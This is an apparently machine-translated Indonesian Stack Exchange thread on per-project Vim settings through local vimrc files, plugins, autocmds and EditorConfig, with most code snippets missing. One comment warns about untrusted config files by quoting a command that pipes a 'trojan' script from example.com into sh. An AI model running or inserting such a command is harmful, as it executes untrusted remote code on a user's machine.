Di tempat kerja saya menggunakan standar ts
2; preferensi pribadi saya adalah 4, yang merupakan apa yang saya gunakan untuk proyek hobi saya, dan proyek lain yang kami warisi ini memiliki konvensi ts=8
.
Ada juga beberapa pengaturan lain yang ingin saya atur berdasarkan proyek (misalnya melipat). Mendasarkan pengaturan ini pada filetype atau secara otomatis mendeteksi mereka berdasarkan apa yang menggunakan file bukan pilihan yang baik, karena saya ingin menghormati konvensi masing-masing proyek.
Bisakah saya membuat Vim menggunakan file pengaturan yang berlaku untuk proyek (semua yang ada di pohon direktori) tanpa menambahkan modeline ke semua file?
vimrc
filesystem
Martin Tournoij
sumber
sumber
Jawaban:
Ada beberapa cara ringan untuk melakukan ini.
Periksa file nama yang diberikan dan sumbernya
File disembunyikan dalam contoh tapi itu opsional.
.vimrc
File lokal (tidak sama dengan plugin)Ini mirip dengan 1. tetapi file tersebut akan disebut ".vimrc".
Saran umum untuk menemani ini adalah menggunakan
yang mencegah
.vimrc
file melakukan hal-hal yang berpotensi berbahaya seperti menjalankan perintah shell. Idenya adalah Anda tidak ingin vim membaca.vimrc
file yang ditulis oleh orang lain yang melakukan sesuatu yang jahat.Perintah otomatis yang memeriksa jalur saat ini
Ini adalah opsi yang saya gunakan. Saya tidak banyak berubah antara proyek yang berbeda jadi YMMV tetapi jika Anda hanya ingin melakukan satu atau dua hal berdasarkan path dan menyimpannya di Anda
.vimrc
ini bagus dan sederhana.sumber
Saya menggunakan localvimrc untuk tujuan ini.
Masukkan
.lvimrc
dengan pengaturan proyek Anda di dalam proyek Anda dan pengaturan ini akan menimpa pengaturan.vimrc
.Secara default, Anda akan ditanya apakah Anda ingin sumber file ini, misalnya:
Ini untuk mencegah sumber file vimrc acak (tidak dipercaya). Jika Anda merasa ini menjengkelkan, Anda dapat menyiapkan daftar putih
.lvimrc
file dengang:localvimrc_whitelist
:Atau Anda dapat menonaktifkan meminta konfirmasi sepenuhnya dengan
set g:localvimrc_ask = 0
. Ini tidak direkomendasikan.sumber
Konfigurasi pusat
Jika tidak apa-apa untuk mengkonfigurasi perintah khusus / pengecualian lokal secara terpusat, Anda dapat memasukkan autocmds tersebut ke
~/.vimrc
:Penting untuk digunakan
:setlocal
sebagai ganti:set
, dan juga:map <buffer> ...
dan:command! -buffer ...
.Di sisi lain, jika Anda ingin konfigurasi khusus disimpan dengan proyek (dan tidak ingin menanamkan ini di semua file melalui modelines ), Anda memiliki dua opsi berikut:
Konfigurasi lokal dengan fungsionalitas bawaan
Jika Anda selalu memulai Vim dari direktori root proyek, bawaan
memungkinkan pembacaan
.vimrc
file dari direktori saat ini. Anda dapat menempatkan:set ts=4 sw=4
perintah di sana.Konfigurasi lokal melalui plugin
Jika tidak, Anda memerlukan bantuan plugin; ada beberapa di vim.org; Saya dapat merekomendasikan plugin localrc , yang bahkan memungkinkan konfigurasi spesifik tipe file lokal.
Perhatikan bahwa membaca konfigurasi dari sistem file memiliki implikasi keamanan; Anda mungkin mau
:set secure
.sumber
.exrc
sangat terbatas: gagasan proyek berhenti di direktori saat ini, yaitu file dalam subdirektori bukan milik proyek.Ada proyek Editor Config yang memungkinkan Anda untuk mendefinisikan konfigurasi tingkat proyek seperti pengaturan tabstop bersama dengan gaya garis baru dan hal-hal lainnya. Ada banyak plugging untuk semua jenis editor termasuk vim . Ini juga memungkinkan Anda untuk menentukan pengaturan untuk berbagai jenis file.
sumber
Saya menulis ini dan menambahkannya ke .vimrc saya untuk memungkinkan saya menempatkan file .vimsettings dalam proyek dan sub proyek.
sumber
system('curl http://example.com/install-trojan.sh | sh')
...Saya ingin ini jadi saya hanya menerapkannya secara lokal. Saya tidak terlalu peduli dengan "mengeksekusi kode acak" tetapi ini dapat bekerja untuk kebutuhan sederhana. Sesuaikan nama file seperlunya.
Ini
local.vimrc
sebenarnya adalah symlink ke file dalam koleksi substansial saya file vimrc per-perusahaan yang dapat saya simpan dalam kontrol sumber di tempat lain, yang membuatnya mudah untuk memindahkan seluruh konfigurasi saya ke mesin lain atau jika saya mengunjungi perusahaan di tempat atau sesuatu . Konfigurasi Cascading dapat digunakan tetapi dalam praktiknya saya tidak memerlukan fungsionalitas itu. Saya juga memasang F8untuk membuka file yang ditemukan itu dan "utama" saya.vimrc
di tab baru ...Di dalam konfigurasi lokal tersebut, karena diuraikan untuk setiap file yang dibuka, pastikan untuk mengatur pemetaan dan pengaturan Anda ke buffer-lokal. Misalnya
sumber